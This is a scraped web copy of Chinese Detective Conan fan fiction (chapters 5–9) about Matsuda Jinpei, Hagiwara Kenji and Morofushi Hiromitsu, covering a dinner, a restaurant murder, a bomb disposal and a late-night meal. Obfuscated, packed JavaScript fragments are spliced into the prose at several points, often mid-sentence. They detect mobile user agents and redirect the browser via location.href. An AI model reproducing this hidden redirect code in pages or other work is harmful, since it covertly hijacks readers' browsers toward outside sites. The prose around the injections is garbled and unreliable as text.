松田阵平沉思片刻,把视线从扳手上挪开,扫视了一遍公寓,在看到洗衣机的时候目光停下来了。前两天诸伏景光在用洗衣机的时候他听到洗衣机内部有些奇怪的声音,但他当时正沉迷手上的炸弹模型,而且那个声音看起来并没有影响洗衣机的正常使用,就被他抛之脑后了,现在正好拿来当试验对象。 果然,在他用扳手把洗衣机的面板拆下来后,脑海里忽然闪过一段画面。 两个看不清面容的小孩面对面在一辆汽车旁蹲着,其中一个穿着白色背心和小短裤,手上拿着螺丝,另外一个小孩则穿得更精致一些,花色衬衫搭配小工装裤,正双手捧着小扳手递到另一个小孩面前。 松田阵平虽然看不到白色背心的孩子的脸,但也能从他手部的细小动作可以分析出他很想要那个扳手又不好意思,最后不知道看到了什么还是收下了扳手。 画面到此结束。 松田阵平看了看自己手上的小扳手,正是刚刚片段里那个崭新扳手变旧后的模样。他一边手上动作不停地把洗衣机的小毛病给修理好,一边在回想刚刚看到的画面,他有种感觉,那个穿着白色背心的小孩是他自己。 其实已经很明显了,从屏幕上指向性很强的问题,到这个在暗示他幼驯染其实另有其人的画面片段,有人在循循诱导他:松田阵平真正的幼驯染不是诸伏景光,是萩原研二。 但萩原研二到底是谁?他又在哪里?他有没有和自己是幼驯染的记忆? 修好洗衣机的松田阵平靠在阳台上的栏杆上,看着下面的车水马龙,看着远处已经竣工、不日开放的摩天轮,看着一碧如洗的天空,凫青色的眼眸里罕见地带上了些许迷茫。 他似乎想了很多,但其实只是放任过往的记忆在脑海里乱窜。在超现实的冲击下他难免有些心慌,又觉得这荒诞得可笑。 如果连自己的记忆都是假的,那还有什么是真的,眼见就能为实吗? 就在松田阵平寻思着要不要去自己房间里摸一根烟出来的时候,公寓的大门被打开了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195248|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 猫眼青年怀里抱着一大包食材,右手还挂着一个满满当当的大菜篮,配上他那一身挺拔的警服,反差得温馨。 他把挡住他大部分视线的食材放下来后,才看到站在阳台处呆呆看着他的松田阵平,一双蓝色的猫眼温柔地弯起:“我就猜到阵平还没吃饭,不枉费我特地跑一趟。” 松田阵平自觉走过去帮忙把食材拿出来清洗:“你怎么回来了?平时中午不都是在饭堂吃吗?”他惊讶地看着诸伏景光从袋子最底下抽出一盒金枪鱼。 虽然警察的工资福利都很好,但是毕竟他们都才刚工作,又买了车,如今的储蓄还没到可以随意挥霍的程度,而今天诸伏景光买回来的食材价格都有些偏高了。 诸伏景光利落地把蔬菜切块的同时还用油把锅热好,放进洋葱煸炒:“虽然不知道阵平为什么不愿意告诉我……还是说暂时不能告诉我?但无论如何,你今天的状态看起来不是很好,我实在放心不下,所以想着除去身体上的问题,没有什么是美食解决不了的,如果一道行不通那就多做几道。反正你上午没去上班的话也不会特意去饭堂吃午饭吧?” 他用着轻快的语调,眼里的担心却是实实在在的。 松田阵平只是看了一眼拿出来的食材,就发现诸伏景光今天准备的菜式都是自己喜欢而最近又没怎么吃的。 ……真的是输给这个人了。 他低头笑了笑,再抬起头来时又是那个桀骜不驯的警官了。 “谢了啊。” 眼见不一定为实,但是感受到的却不会骗人。无论屏幕上的“幼驯染”是不是诸伏景光,但他一定是自己无可取代的挚友。 至于所谓的真相,现在只不过是个开头,就静下心来看看之后的发展吧,总能找到答案的,心浮气躁才是大忌啊。 一个小时后,两个人坐在饭桌旁享受美食时,诸伏景光好像才忽然想起某件事:“对了阵平,上午班长聊天时跟大家炫耀了一番你的拆弹能力,长官路过也听得津津有味,所以他决定邀请你过来给搜查一课开个培训班。” 松田阵平筷子上的金枪鱼“啪嗒”一声掉进了汤里:“哈?” “班长也觉得有些过意不去,所以在听说我要回来给你做饭的时候也跟我一起去买菜了,唔,金枪鱼和牛肉都是他买单的。” 突然沦落到吃人嘴短的松田阵平:“……景老爷你是特意等到我快把这两样吃完才告诉我是吗?” “哈哈,怎么会呢?” 6. 第 6 章 “讨厌,怎么我和小四园的烛光晚餐要有小科恩和小基安蒂充当电灯泡啊~”盛装打扮的萩原研二看着根本不在计划里的两个狙击手发出了抱怨。 拥有凤尾蝶刺青的高挑女性打了个冷颤:“都说了不要这么叫我!要不是琴酒叫我,我才不想来呢。” 萩原研二和降谷零对了下眼神,心里都在暗暗叫糟糕。朗姆派发任务的时候根本没提到会有行动组的人来,估计是有不能告诉他们的其他任务需要同步进行,同时也不放心让获得代号没多久的他们组队做任务。 嘴角挂着甜蜜笑意的青年垂眼扫了一下侧下方包厢,灯是暗着的,说明公安的人已经到位。他和降谷零在做前期调研的时候,综合各方情报,都一致认为组织想通过某种方式控制住四园家的千金,以此来要求占据制药业庞大份额的四园集团为组织做事,听说那个神秘的实验室要搞什么大动作了。于是他们让公安跟四园集团掌权人对接后两方决定趁着今天能在公共场合接触对方,让公安的人假扮成那位小姐以面对接下来一个月来不知道何时会出现的危机。 本来只有他和降谷零两个人做任务,如果公安介入会增加暴露的风险,是四园集团太过特殊他们才决定铤而走险。现在多了两个不以脑力为优势的狙击手反而更能为他们作证,只不过方案要做些调整。 “不要~我现在没心情和小四园甜言蜜语了,小波本我们交换任务吧!”萩原研二一边说着一边把降谷零头上的服务生帽子戴在了自己头上,然后从包里掏出一件备用西装递给降谷零。 暴脾气的基安蒂遭到嫌弃那个火瞬间就上来了,刚想发作就被科恩拉了一下,又看到连忽然被甩锅的波本都没出言反对,便翻了个白眼不说话了。 行动组和情报组互相看不惯也不是一天两天的事情了,波本神秘主义,弯弯绕绕的谜语人说话风格和神出鬼没的行踪都很不受待见。而田纳西虽然平常笑嘻嘻的,是个难得的和组织里脾气各异的成员都相处得不错的交际花,但他偶尔会踩着别人的底线作那么几下,颇有几分喜怒不定。偏偏这人能力出众,算得上朗姆比较看重的手下,作的范围也都在众人最大接受的范围内,碰上只能自认倒霉了。 距离上一次基安蒂听闻田纳西作精发作也有一段时间了,她决定回去就算一下时间,看看是不是跟女性的生理期一样规律。 并不知道自己甚至被吐槽成自带生理期的萩原研二,正在和降谷零交换服饰,并趁机在对方的手臂上用公安改版过的摩斯密码简要说了自己的想法。 从服务生摇身一变成为光彩照人的投资商公子,波本脸上也挂上了甜蜜笑容,他意有所指地对田纳西说:“我想你已经想好怎么还我这个人情了对吧,田纳西。” 正在心里暗搓搓八卦这两人什么时候关系这么好的基安蒂瞬间觉得索然无味,刚刚还在想回去打听一下波本今天怎么那么听田纳西的话,这两人是不是发展出什么新关系,现在好了,她对情报员之间乏味的交易毫无兴趣。 四园集团的千金是个20岁的大学生,虽然尚未毕业,但是作为独女已经接手了部分集团的管理工作,要不是降谷零拿组织产业下某个国外的化工企业当做自己身份背景,可能都没法纯靠自己已经很出众的美色吸引对方和自己一对一共进晚餐。——当然这是明面上的情况,事实上对方自从看到降谷零白色西服上别着的鸢尾花胸针的时候,就知道她应该配合公安了。 波本在出卖美色套取情报,田纳西自然也没闲着。 他三言两语就成功让领班把他安排去负责西边的包厢。基安蒂和科恩一直没透露他们这次的任务是什么,总不能是单纯为了监视他和降谷零,萩原研二认为目前为止就算是平等地怀疑每一个人是老鼠的琴酒,也没怀疑他们到特地派两个狙击手监视他们一个普通的情报任务。这边包厢不仅能和公安对接,还能看到基安蒂和科恩的狙击点。 当然,他明面上是为了牵制住今天恰巧过来这边谈生意的四园千金的堂哥,四园集团的第二顺位继承人。 那边波本的烛光晚餐眼看就要结束了,两个狙击手还是没有下一步行动,萩原研二便让公安和已经被伪装成其他人的四园家千金提前离开。正当垫后的他也准备离开时,忽然整个餐厅陷入一片黑暗。 到底怎么回事?还没等萩原研二有什么动作,餐厅的灯又被打开了,停电的时间短到只有十几秒。 伴随着灯光的,还有女人的尖叫声。 难道是基安蒂他们下手了?尖叫声刚好来自他这边负责的包厢,于是他马上赶过去,然后就看到了一片血色和倒在桌上的男人。 恰巧就是那位四园集团的第二继承人,死因是脖颈处大动脉出血,并非枪杀。这时,萩原研二的耳麦里传来一声非常不爽的女声:“啧,到底是谁抢了我的人头?!让我知道非把那人打个脑袋开花!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195249|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 组织的目标竟然也是这个人,只是不知道被谁先下手为强了。萩原研二的心往下沉了沉,无论如何他们还是慢了一步,没能救下人也没能拿到这部分情报,看来稍后要让公安从四园家千金那再挖多点关于她这位堂哥的信息了。事情发展到这里,无论是他和降谷零,还是基安蒂和科恩,都没必要再留在一片混乱的命案现场了,要是等下被赶到的刑警叫去问话还容易徒生事端。萩原研二的余光看到降谷零的身影已经消失了,应该是去停车场准备接应他了。 他这个好友,样样优秀,性格为人也没什么不好的,就是跟他坐同一辆车的时候总是不让他摸方向盘。唉,他都好久没能感受到车速带来的肾上腺素飙升了。这两天要挑个时间独自开开自己的爱车了,万一真有什么损坏需要高额的修车费,组织也会报销的嘛~ 但很明显今晚的混乱还没结束,萩原研二下楼的动作被迎面而来的一大波警察给截住了。萩原研二有点纳闷,米花町的出警速度什么时候这么快了,从命案发生到警察抵达有两分钟吗? 他定睛一看,来的警察除了前面两个是常见的刑警制服,后面的警察制服都不常见。萩原研二毕竟是受过专业培训的公安,一眼就认出来那是爆炸处理物组的制服。 这个小小的空中旋转餐厅如此人才济济的吗?有公安,有组织成员,有杀人犯,现在还多了个炸弹犯?萩原研二佯装不知所措地站在原地,看着警察们迅速地安排在场人员到另外一栋建筑集合,同时出现了□□和命案,他们显然不可能放任全部人都离开。 萩原研二本应是被疏散的人员之一,但在场需要有餐厅的工作人员留下帮忙以防万一,领班已经被接连的变故吓晕过去了,所以只能留下今晚负责这片区域的萩原研二。 因为要当服务员不好披头散发于是在脑袋后面扎了个小揪揪的黑发青年眨了眨眼,不会那么巧吧?总不能有三波人想要同一个人的命吧? 结果还真是,受害人包厢的桌子下绑了一个炸弹,红色的倒计时数字看得人心慌。 但此时的萩原研二已经无暇去思考受害人身上到底都有什么密码了,他看着眼前熟悉的小卷毛,瞳孔地震。 这个在同事的帮助下穿上厚重防爆服,被四五个拿着防爆盾牌的警察围起来,正帅气地蹲在炸弹前面的卷毛警官,是小阵平? 研二酱一见钟情的小阵平? 小阵平是警察?! 7. 第 7 章 今天对于松田阵平来说本该是平常的一天。 平常地起床,平常地上班,平常地写前次拆弹的处理报告。 中途出了次外勤,但是比较简陋的炸弹,松田阵平三两下就解决了,耗时不到一分钟。 如果要说什么不平常的话,大概就是今天目前为止还没出现的“每日答题”和答应了今晚给搜查一课讲授炸弹处理课程。 松田阵平用意念点开了屏幕,上面的幼驯染选项依旧是灰色不可选的状态,但无论他怎么戳,都没有新的弹窗弹出。 “阵平你怎么了,是今天的饭菜不合胃口吗?”诸伏景光注意到松田阵平已经盯着眼前的猪扒盖饭发呆很久了。 坐在两人对面的伊达航调侃:“是不是松田为了给我们上课,昨晚备课到很晚,现在才会没精神?” 松田阵平把屏幕收起来,露出无语的半月眼:“给你们上课还不至于要我备课。”这句话听起来狂得令人牙痒,但是每个和松田阵平共事过的人都不会对此有异议。从他进爆处组不到一个月就当上队长这一点可以看出来,这人的专业能力强得可怕,要知道这可是在十分讲究资历的日本里更讲究资历的警察系统。松田阵平的长官也曾在他本人不在场的时候跟别人说他是拆卸领域百年难出的天才。 至于为什么一定要在他本人不在场的时候才这么夸……“哼,这小子平时已经狂得没边了,当面夸他岂不是能尾巴翘上天。” 所以虽然松田阵平的同事总是因为他的性格时不时想给他套麻袋,却也真的对他的能力心服口服。 伊达航和诸伏景光对了下眼神,猫眼警官趁卷毛警官埋头吃猪扒饭的时候摊手,表示自己也不知道发生了什么。 和女朋友感情很好的伊达航忽然灵光一闪:“松田你该不会是恋爱了吧!” 成功把松田阵平给噎到了。他握着勺子的右手上青筋鼓起来:“我是和炸弹恋爱还是和模型恋爱?” 他的社交圈子里都有什么人,这两人又不是不知道,休闲时间除了偶尔和诸伏景光外出吃饭和购买必需品,其余时间基本是宅在家玩模型,根本没机会、也不会主动去认识人。 ……昨天那个叫三木贤治的青年除外。可能是因为有着模型的共同爱好,松田阵平对这人天然地抱有好感。 但即使如此,也和恋爱谈不上什么关系吧。松田阵平斩钉截铁地想,自己应该是喜欢女孩子的,毕竟他曾经喜欢…… 他一愣:我喜欢过谁? 就在这时,诸伏景光也开口了:“我倒也想看看阵平谈恋爱的样子,我跟他一起长大,那么多年就没见过他情窦初开的样子,阵平冷酷地拒绝每一个向他告白的女生,唔,还有男生。” 松田阵平呵了一声:“彼此彼此,景老爷。”如果说松田阵平是锋芒毕露的帅气,那诸伏景光就是温润如玉的俊秀,前者虽然长相更出色但气场难接近,后者因为待人温和也从不缺乏爱慕者。 和女友甜甜蜜蜜的伊达航不想看着自己非常优秀的两个好友一直单着,偶尔会拉着他们两个去参加联谊,他们不好每次都拒绝,也跟着去了几次,但是每次都是充当埋头干饭的吉祥物,最大的贡献是正常向大家展示毫无缺点的帅气脸蛋。 就这么一直平静地到了晚上,松田阵平按照约定被邀请——虽然他一直坚持那叫被坑去给搜查一课开课教授拆弹,但当他刚一如既往臭着脸走进充当临时教室的会议室里时,就接到通知说有小孩玩耍时无意间发现了个炸弹。 本来按照轮班制度,今晚有紧急情况需要出外勤的话是轮到副队长斋藤带队的,但是斋藤下班前提到过要给女儿过生日。虽然叫他回来也无可厚非,但是既然作为队长的松田阵平此时还留在警视厅,倒也没必要真的为了这个随时可以再开启、非本职工作的授课而不近人情地把斋藤从女儿生日会上叫来加班。 松田阵平抓了抓自己的卷发,手速飞快地给斋藤发消息说明情况并补充道下次加班外勤就该你了。就在手机上显示“信息发送成功”的字样时,毫无动静的屏幕也同时弹出了今日份的答题: “今晚被安置在四园空中旋转餐厅的炸弹最后应该剪掉那根线才能平安拆除:A.蓝线 B.红线” 如此直白的问题让松田阵平感觉后背发冷。提出问题的存在不仅知道今晚有炸弹,还知道炸弹装在了哪里,知道炸弹要怎么拆解。 他盯着屏幕上的字深吸了口气,认命地背上工具箱带着队员来到现场。 因为对今天的问题非常在意,松田阵平来到现场后下意识地观察每一个从身边经过的人,试图从里面发现提出问题的人。结果还真被他发现了不应以这种身份出现在这里的人,昨天才刚认识的新朋友,三木贤治。虽然他们仅见过一面,三木贤治的发型和衣着也和昨天都不一样,松田阵平还是一眼就认出来了。 这里作为一家餐厅,每个人都有资格来消费,但三木贤治身上穿着的显然是这里最普通的服务生服饰。从昨天三木贤治的穿着打扮,和他能一口气买下两盒昂贵的模型并毫不在意地赠送给别人的行为来看,他的收入绝不比身为警察的松田阵平低。这不是一个普通服务生该有的收入水平。 但是眼下拆解炸弹的任务更为重要,所以松田阵平也只是把这一点记在心里,直奔炸弹所在处。只是没想到三木贤治居然恰好今晚负责这间包厢,被留了下来。 很明显对方也认出他来了,松田阵平顶着三木贤治有意无意看向他的视线开始拆弹。炸弹比白天碰到的小儿科要复杂少许,但也在两分钟内解决了。 松田阵平看了眼被开膛破肚的炸弹里那根被他剪短的红色线,飞快调出显示距离答题结束只剩十分钟的屏幕选了B。 在按下选项后他下意识绷紧了身体,生怕有什么东西突兀地出现在他的手上或是周围,但什么都没有。手上没有突然增加的重量,周围也没出现奇怪的物品。 难道不是每次答题都有奖励?昨天的奖励只不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195250|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是养成他答题习惯的开胃菜? 答案无从知晓,松田阵平很想对自己进行次全面搜身,但显然现在并不是合适的地点和时间。 他脱下四十公斤重的防爆服,看着队员把拆解后的炸弹收起来,看着一起过来的刑警同事对三木贤治做询问笔录。 刑警这边还有命案要处理,他们爆处组的任务却已经完成了。松田阵平让已经收拾好现场的队员们先回去,他则走到刚被刑警询问完的三木贤治身边:“聊聊?” 昨天还在为一见钟情而dokidoki,今天就得知心上人是警察的萩原研二心情复杂到语言系统差点离家出走:“……啊,嗯。” 还来不及离开的爆处组队员看到这一幕差点没能走动路,差点鼻子碰后背地变成多米诺骨牌倒下,个个的双眼里都不可避免地闪烁着八卦的光芒。 这可是松田阵平哎!除了隔壁搜查一课的诸伏警官和伊达警官,工作外对所有人都平等地爱理不理的松田阵平哎! 他竟然,会在公事外主动找人说话!而且态度如此平和! 队员们的视线齐刷刷转移到松田阵平的搭话对象身上。服务生的服饰平平无奇,但是人长得一点也不平平无奇。目测一米九的身材比很多警察还要高大,不是传统的帅哥脸,但有一种很吸引人的韵味,潋滟的紫色眼眸和后脑扎着的小揪揪平增几分浪漫旖旎,但下垂的眼角又冲淡了这份美丽带来的危险感,让他显得亲切无害。 嘶——队员们倒吸了口冷气,然后就被感官敏锐的队长扫了个冷眼。他们立马眼观鼻鼻观心地走了,但耳朵却还在悄悄地竖起来。 但他们注定什么都听不到了,因为松田阵平示意萩原研二跟他一起从另外一个出口离开。萩原研二点点头,放在口袋里的手飞快发了消息给降谷零,说他晚点自行回去,如果基安蒂和科恩还没离开的话帮忙引开,有组织的人问起来就说倒霉卷入命案被条子留下来问话了。 萩原研二是和降谷零一起来的,降谷零开车离开,不违法的前提下他自然没有第二辆车可供使用。但松田阵平显然也没打算问他,而是直接走到了自己的黑色马自达前面,抬了抬下巴:“上车吧。” 卷发警官一脸理所当然,根本没考虑过别人可能因为他不加解释的行为而拒绝,或者因为他的超强气场而不安。 萩原研二深深看了眼他线条利落的侧脸,平时的状态终于慢慢回来了:“好哦,小阵平~”他坐在副驾驶,看着松田阵平驶向偏远的郊区。这辆车显然经过改装,这个型号的马自达在正常情况下是没有那么优越的性能,根据身边人的职业和对模型的爱好来说,车是由他本人改装的概率几乎百分百。 想到这里,得知松田阵平是警察后下意识在心里劝自己不要再继续让这份心动萌芽的萩原研二再次感受到飘飘然,他终于明白为什么无数文学作品会以爱情为主题了。 然后松田阵平一句话就把他又拉回地面了:“三木,你到底是什么人?” 8. 第 8 章 问着“三木,你到底是什么人?”的人神色平淡,虽然气场一如既往的强,但仔细一看还能发现嘴角是微微上扬着的,他完全不觉得自己的问话能达到什么恐怖的效果。 萩原研二:还好小阵平不是搜查一课的,不然这问话风格能把本来都打算坦白从宽的犯人最后都吓到抗拒从严了。 他被吓了一跳后就从松田阵平的表情上察觉到对方并没有真的怀疑他是犯罪分子。 萩原研二摘下头上的服务生帽子,作苦恼状:“小阵平,你不觉得我们应该礼尚往来吗,譬如我喊你小阵平,你应该叫我贤治酱!” “……你是什么高中女生吗。”松田阵平余光看了眼萩原研二后脑勺的小揪揪,这句问话都显得有些底气不足。他又沉默了几秒,犹豫地开口:“贤治。”这已经是松田阵平活了22年以来最大的让步了!再得寸进尺他就要揍人了! 他叫我研二哎!虽然光线很暗但是小阵平耳朵是不是有点红!好可爱,好可爱好可爱,小阵平真的好可爱! 心情起飞的萩原研二下意识晃动着小揪揪,松田阵平差点幻视身边坐着一只正在把尾巴甩成螺旋状的大型犬,唔,有点像斋藤家的那只萨摩耶。 不明白自己为什么会不好意思的松田阵平哼了一声:“你还没回答我问题呢。” “是、是~那就让贤治酱来补充昨天太过简单的自我介绍吧。三木贤治,今年22岁,职业是小说家,爱好车和模型,最大的乐趣是飙车以及与不同的人交流来获得写作灵感……” 松田阵平因为开车而专注直视着前方,但同时耳朵也没放过这宛如大学生社团破冰活动上的自我介绍。 捕捉到关键信息“小说家”的松田阵平听到后面滔滔不绝似乎能说到天荒地老的个人喜好和生活习惯忍无可忍出声打断:“你这家伙以为自己在相亲吗?要不要顺便告诉我你的储蓄和名下有多少套房产?” 如果是小说家的话,那么这人穿着服务生的衣服出现在那里虽说不上常见,但细思也无可厚非,为了找灵感什么奇怪的举动都可能做出来。不过以这人的年龄来说,能有这样的消费水平要不就是家底殷实,要不就是写作能力确实出众。如果是后一种的话,可他之前怎么没听过这个名字呢? 和心上人介绍自己怎么不能算作一种相亲?萩原研二扬起了真情实感的甜蜜的笑容,要不是他现在拥有的庞大资产里大部分是来自组织的黑色收入,他甚至可以把卡交到小阵平手上并且附上密码。 脑里所思所想完全不在同一个频道的两个人终于在微妙的氛围里到达了目的地。 不是萩原研二猜想的什么深夜模型店,更不是他心心念念的小阵平的家,而是一间看起来其貌不扬的小店,有淡淡的食物香气从洗得发白的蓝色门帘里钻出来。 “小阵平?”萩原研二这下是真的有些摸不着头脑了。 松田阵平并没有说话,而是径直向店里走去,萩原研二也只能连忙跟上去。 店里位置也不多,零星坐着四五个人,老板是个五十多岁的大叔,看见松田阵平先是问了句“老样子?”然后看到跟在他身后进来的萩原研二有些惊讶。 “老样子。”松田阵平拉了张椅子坐下,看到还有点搞不清状况的萩原研二,眼底不自觉带上了少许笑意,“我点的都是菜单上没有的,你第一次来,点菜单上的会保险一点。” 平生最大爱好实际上是飙车的萩原研二表示保险是什么东西有小阵平好吃吗:“老板,我也要和小阵平一样的,麻烦了!” 手脚勤快的老板很快就把两份一模一样的餐品送到他们桌上,还附赠了两杯冰镇啤酒。 “喂喂,怎么平时我和诸伏来就没这种待遇啊!”松田阵平随口抱怨着,难道三木贤治的魅力已经扩大到可以影响这个岁数的男性了吗。 老板抗议:“我这是为了留住新客户!而且怎么,上次你们蹭了我的新品烧鸟,上上次蹭了我的茶碗蒸,还有上上上次……” “好了,好了,别说了,再说你的鳗鱼就要烤焦了。”松田阵平及时阻止自己和诸伏景光的黑历史继续掉落。 在他旁边坐着的萩原研二本来清亮的眸色变得有些沉了。他能听得出来老板并没有在说松田阵平在占便宜,相反的是在炫耀他家的出品能让松田阵平来吃那么多回,但最重要的是——诸伏是谁?无论是从刚刚的对话还是进来时老板看他惊讶的眼神,都足以说明之前松田阵平多次来这家店,带的都是另外一个人。 他之前只顾着自己心动了,却从没想过松田阵平不是单身的可能性。 光是想到这个可能,萩原研二就忍不住从心底泛出一些见不得光的情绪。这个人是我的,就算有其他人先来一步也没关系,只要我…… 一阵冰凉从侧脸传来,把快要散发出黑气的萩原研二给冻得抖了一下。 “你在想什么有的没的,不会是被今晚的事情吓到了把?再不动筷子的话,烤鱼块就要变冷变腥了。”松田阵平举着啤酒杯贴在萩原研二的侧脸,看他回神才慢悠悠放下来。 “我的烤鱼块就算冷了也不会变腥好吧!”这是忍不住折回来抗议的店主大叔。 萩原研二在松田阵平彻底把啤酒杯放到桌面上前接过来喝了一口,小麦香气混合着气泡经过食道,凉意蔓延到全身也清醒了头脑。研二酱可是坚守职业道德的警察——虽然公安以各种违规操作而闻名——但是这不重要,他怎么可能会做让小阵平为难的事情呢! 不过,有些事情还是得趁早搞清楚的。 “第一次看到那种场面,”当然是假的,萩原研二手上早已沾了血,炸弹做过几个也拆过不少,“说不怕是不可能的,”只不过怕的是被松田阵平发现他是犯罪分子(伪),“但是没想到会见到小阵平,就感觉今晚的一切都无所谓啦~”萩原研二单手托着下巴笑眯眯地看着松田阵平,终于舍得分出一丝注意力夹起一块鱼放进嘴里,小阵平喜欢的食物果然不错,鱼肉外韧内滑,火候掌握得刚刚好—— 等等,这后续冲上鼻子直掀天灵盖的奇特味道是什么!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195251|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>研二酱好像抵达了天堂。 “……不要露出一副已经看到天使了的样子啊!”有什么东西抵在了唇边,萩原研二下意识顺着那股力道张开了嘴巴喝了一口,啤酒的清香把那股味道压了下去,他觉得自己又回到人间了。 他用委屈巴巴的眼神看着松田阵平,也不说话。 卷发警官觉得自己一开始点餐的时候已经尽到了提醒的义务,但还是难免在这双发射着委屈光波的下垂眼里败下阵来,摸了摸自己形状好看的鼻子:“柠檬草、明太子加山葵调制的酱料有那么可怕吗?老板,给这家伙来一份盐烧的烤鱼块。” 同样预料到会出现这种状况的老板调侃:“我开店那么久,就没碰到第二个能接受这种搭配的人。” 当一块崭新的烤鱼块出现在萩原研二面前的时候,他还被上一个堪称鬼斧神工的味道搞得有些心理阴影,小心翼翼地夹了一小块放进嘴里,这次终于是普通的美味了。 萨摩耶垂下来的耳朵再次竖起来了。 萩原研二继续“意外”中断的谈话:“刚刚那位先生,可能是被他斜对角那位短发的女性杀害的。” “嗯?”没想到他会说这个的松田阵平挑眉。 萩原研二有些小得意:“小阵平不要小看一个小说家的观察力,先生旁边那个应该是他的妻子,但是两个人关系很僵硬,即使位置靠在一起,上半身也下意识远离对方。而他斜对角的女性则一直用很复杂的眼神看着他,大概率是由爱生恨。” 事发后才到现场所以也无从得知在此之前发生了什么的爆处组警官不置可否,安静地享受美食。 觉得这燕国地图也该到头了的萩原研二终于慢吞吞问出自己最想知道的东西:“所以说人类的感情真复杂呀,尤其是爱情。不知道小阵平有没有这方面的困扰?” 松田阵平撩了下眼皮:“单身22年,谢谢。” “这么巧,我也是哎!”听到了最美好的那个答案,萩原研二没站起来欢呼已经很克制了。 卷发青年狐疑:“你这么高兴干什么?” 萩原研二笑眯眯回答:“因为之前总是有人不理解说我明明长得不差怎么可能一直单着,但是如果现在再有人这么说,我就能说更好看的小阵平都没有对象呢,我急什么。”不能这么早暴露出自己对小阵平的爱意,会把他吓跑的。 还有一个问题没解决,他假装不在意地补充道:“但是小阵平说你和【诸伏】一起来都没有这个待遇,既然小阵平没有对象,那这位诸伏是?”说完这句话,萩原研二好像意识到了自己有点侵犯他人隐私的行为,有些小心翼翼地观察松田阵平的反应。 在平时算得上大大咧咧的警官先生并没有接收到这么复杂的眼神内涵,这也算不上什么隐私,便直接回答:“诸伏是……挚友,我们从小一起长大的。”他本来想说是幼驯染的,但是不知为何在这个人面前,这个词在舌头上滚了一圈自动换成了其他词汇。 挚友?一起长大? 萩原研二的警铃疯狂响起。 9. 第 9 章 一起长大的挚友。 从松田阵平的嘴里听到这样的存在让萩原研二暗暗警惕起来。 在他的眼里,小阵平帅气又可爱,能让他一见钟情。那位素未谋面的诸伏先生与这样的小阵平一起长大,除非是只喜欢女孩子,否则能真的对小阵平毫不心动吗? 正在家里练习贝斯的诸伏景光打了个喷嚏:“入秋了果然有点冷啊。” 萩原研二叹息:“要是我也能和小阵平一起长大就好了,”他那双紫色的眼眸在深夜小店里昏黄的灯光下有种独特的风情,“我们一定很合得来。” 明明他们才第二次见面,眼前这个人身上也还有些他看不透的谜团,但松田阵平就是觉得,最后这句话他认同—— “不需要从小就认识”,容貌出类拔萃的青年不常笑,可一旦笑起来,那种洒脱不羁能让人无法移开视线,“现在也合得来。” “!” 在人际交往上无往不利的青年头一次主动避开了对方的视线。他到底知不知道自己在说什么啊……萩原研二在心里哀嚎,怎么可以这么犯规啊小阵平。 他感觉自己的一颗心被这比honey trap还要甜的直球给泡软了,只是喝了几口度数不超过10的啤酒都有些熏熏然,庞大的情绪找不到出路,于是萩原研二鼓起勇气提出一个建议:“如果小阵平不介意的话,等下吃完后,我可以用你的车带你兜风吗?如果不小心损坏车的话我负责修理!” 没想到松田阵平无情地拒绝了他,无关什么修不修理,只是很单纯的一个问题:“你喝酒了,拒绝酒后驾驶。” “哎??可是小阵平不是也——”萩原研二质问的话戛然而止,因为他发现松田阵平旁边的那杯啤酒是真的一口都没动过。 一时间不知道锅应该扣在老板头上还是松田阵平头上的萩原研二,嘴巴张合了几次,最后只能向心上人投去了个控诉的眼神。 这顿夜宵就在这样的欢乐氛围内结束了。两人满足地从店里走出来,松田阵平抛了抛手里的车钥匙:“你家住哪?” 每一个组织成员都有一个明面上的身份,自然也会有明面上的住处。萩原研二自然地报出了作为小说家时的住宅地址,双手合十作感谢状:“今晚真的很感谢小阵平,既带我来吃了这么美味的食物,又送我回家~” 松田阵平摆摆手:“请你吃东西是为了答谢你昨天让了一盒模型给我,送你回家是因为有始有终,我总不能载你过来,完事了却叫你从郊区走回去吧?这地方连打车都难。” 